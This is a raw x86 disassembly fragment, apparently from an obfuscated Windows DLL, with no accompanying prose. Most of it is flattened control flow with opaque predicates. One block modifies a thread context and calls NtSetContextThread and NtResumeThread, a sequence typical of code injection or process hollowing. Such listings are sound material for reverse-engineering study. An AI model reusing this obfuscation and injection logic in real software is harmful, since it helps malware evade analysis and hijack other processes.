mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa1fac17e
mov ecx, 0x6b44fc4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov dword [ebp - 0x158], 0x6a7dae6b
jmp 0x10011561
mov dword [ebp - 0x158], 0x8e3daa41
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0x2dd60a63
sub edx, 1
add edx, 0x2dd60a63
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x90c2ed2c
mov ecx, 0xe63c76f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0x5111f9d3
sub edx, 1
add edx, 0x5111f9d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa5d4003d
mov ecx, 0x5e1c9231
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
add edx, 0x5c33fcee
sub edx, 1
sub edx, 0x5c33fcee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96d58342
mov ecx, 0x84706ff6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0x13ee81ee
sub edx, 1
sub edx, 0x13ee81ee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4130831
mov ecx, 0xda243f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x2c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x25], al
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
sub edx, 0x9fb0913d
sub edx, 1
add edx, 0x9fb0913d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65651c23
mov ecx, 0xc31c549a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov dword [ebp - 0x158], 0xd128788e
jmp 0x10011561
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x158], 0x54132691
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa668725b
mov ecx, 0xab62a3e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
sub edx, 0xc009c74b
sub edx, 1
add edx, 0xc009c74b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa668725b
mov ecx, 0xe198e9fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x68]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0xe6089552
jmp 0x10011561
mov eax, dword [0x1006c688]
mov ecx, dword [0x1006c684]
mov edx, eax
add edx, 0x4d4198f8
sub edx, 1
sub edx, 0x4d4198f8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x37b11ada
mov ecx, 0x72c74b8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov ecx, dword [0x1006c688]
mov eax, dword [0x1006c684]
mov edx, ecx
add edx, 0xb132896
sub edx, 1
sub edx, 0xb132896
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd609f96d
mov ecx, 0x2c750919
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x10011561
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0xf07c6d85
jmp 0x10011561
mov dword [ebp - 0x158], 0x81621e08
jmp 0x10011561
mov eax, dword [ebp - 0x118]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x20274e7e
jmp 0x10011561
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x158], 0x510205ee
jmp 0x10011561
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x68]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0xed929fe5
jmp 0x10011561
mov dword [ebp - 0x158], 0xc01b2a52
jmp 0x10011561
mov dword [ebp - 0x158], 0x545f45d9
jmp 0x10011561
mov dword [ebp - 0x158], 0xae8abe80
jmp 0x10011561
mov dword [ebp - 0x158], 0xc275931
jmp 0x10011561
mov dword [ebp - 0x158], 0xfd557ae4
jmp 0x10011561
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x8bc5a147
jmp 0x10011561
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x158], 0xab62a3e4
jmp 0x10011561
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x158], 0xdbc634d0
jmp 0x100098ff